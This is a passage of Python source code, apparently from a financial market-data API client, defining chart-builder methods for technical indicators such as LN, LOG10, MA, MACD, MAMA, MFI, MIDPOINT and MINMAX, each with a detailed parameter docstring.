"yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = LINEARREGSLOPEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ln( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of LN to chart builder Natural Logarithm to the base of constant e(LN) transforms all data points with natural logarithm. This API call returns meta and time series values of LN. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = LNEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_log10( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of LOG10 to chart builder Logarithm to base 10(LOG10) transforms all data points with logarithm to base 10. This API call returns meta and time series values of LOG10. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = LOG10Endpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ma( self, exchange=None, country=None, series_type="close", time_period=9, ma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MA to chart builder Moving Average(MA) is used to smooth out price fluctuations and get rid of market noise. This API call returns meta and time series values of MA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param ma_type: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, ma_type=ma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_macd( self, exchange=None, country=None, series_type="close", fast_period="12", slow_period="26", signal_period="9", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MACD to chart builder Moving Average Convergence Divergence(MACD) is a trend following momentum indicator which works by subtracting the longer moving average from the shorter one. MACD has an unstable period ~ 100. This API call returns meta and time series values of MACD. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param fast_period: Number of periods for fast moving average. Must be at least 1 :param slow_period: Number of periods for slow moving average. Must be at least 1 :param signal_period: Number of periods to be plotted on MACD line. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MACDEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, fast_period=fast_period, slow_period=slow_period, signal_period=signal_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_macd_slope( self, exchange=None, country=None, series_type="close", fast_period="12", slow_period="26", signal_period="9", time_period="9", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MACD_SLOPE to chart builder Moving Average Convergence Divergence Regression Slope(MACD_SLOPE) shows slopes of macd line, signal line, and histogram. A negative and rising slope shows improvement within a downtrend. A positive and falling slope shows deterioration within an uptrend. MACD has an unstable period of ~ 100. This API call returns meta and time series values of MACD SLOPE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param fast_period: Number of periods for fast moving average. Must be at least 1 :param slow_period: Number of periods for slow moving average. Must be at least 1 :param signal_period: Number of periods to be plotted on MACD line. Must be at least 1 :param time_period: Number of periods to average over. Takes values in the range from 1 to 800. :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MACDSlopeEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, fast_period=fast_period, slow_period=slow_period, signal_period=signal_period, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_macdext( self, exchange=None, country=None, series_type="close", fast_period="12", fast_ma_type="SMA", slow_period="26", slow_ma_type="SMA", signal_period="9", signal_ma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MACDEXT to chart builder Moving Average Convergence Divergence Extended(MACDEXT) gives greater control over MACD input parameters. MACDEXT has an unstable period ~ 100. This API call returns meta and time series values of MACDEXT. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param fast_period: Number of periods for fast moving average. Must be at least 1 :param fast_ma_type: :param slow_period: Number of periods for slow moving average. Must be at least 1 :param slow_ma_type: :param signal_period: Number of periods to be plotted on MACD line. Must be at least 1 :param signal_ma_type: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MACDEXTEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, fast_period=fast_period, fast_ma_type=fast_ma_type, slow_period=slow_period, slow_ma_type=slow_ma_type, signal_period=signal_period, signal_ma_type=signal_ma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_mama( self, exchange=None, country=None, series_type="close", fast_limit="0.5", slow_limit="0.05", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MAMA to chart builder MESA Adaptive Moving Average(MAMA) adapts to price fluctuations based on the rate of change of Hilbert Transform Discriminator. More about MAMA can be read here. This API call returns meta and time series values of MAMA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param fast_limit: :param slow_limit: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MAMAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, fast_limit=fast_limit, slow_limit=slow_limit, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_max( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MAX to chart builder Highest value over period(MAX). This API call returns meta and time series values of MAX. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MAXEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_maxindex( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MAXINDEX to chart builder Index of highest value over period(MAXINDEX). This API call returns meta and time series values of MAXINDEX. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MAXINDEXEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_mcginley_dynamic( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MCGINLEY_DYNAMIC to chart builder McGinley Dynamic(MCGINLEY_DYNAMIC) keeps all the benefits from the moving averages but adds an adjustment to market speed. This API call returns meta and time series values of MCGINLEY_DYNAMIC. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = McGinleyDynamicEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_medprice( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MEDPRICE to chart builder Median Price(MEDPRICE). This API call returns meta and time series values of MEDPRICE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MEDPRICEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_mfi( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MFI to chart builder Money Flow Index(MFI) is used to identify overbought and oversold levels in an asset. In some cases, it can be used to detect divergences, which might be a sign of upcoming trend changes. This API call returns "meta" and "time_series" values of MFI. "meta" object consist of general information about the requested technical indicator. "time_series" is the array of objects ordered by time descending updated in real-time. :param symbol: Name of instrument you want to request For preffered stocks use dot(.) delimiter. E.g. BRK.A or BRK.B will be correct :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MFIEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_midpoint( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MIDPOINT to chart builder MidPoint over period(MIDPOINT) is calculated as: (highest value + lowest value) / 2. This API call returns meta and time series values of MIDPOINT. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MIDPOINTEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_midprice( self, exchange=None, country=None, time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MIDPRICE to chart builder Midpoint Price over period(MIDPRICE) is calculated as: (highest high + lowest low) / 2. This API call returns meta and time series values of MIDPRICE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MIDPRICEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_min( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MIN to chart builder Lowest value over period(MIN). This API call returns meta and time series values of MIN. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MINEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_minindex( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MININDEX to chart builder Index of lowest value over period(MININDEX). This API call returns meta and time series values of MININDEX. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = MININDEXEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_minmax( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of MINMAX to chart builder Lowest and highest values over period(MINMAX). This API call returns meta and time series values of MINMAX. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average 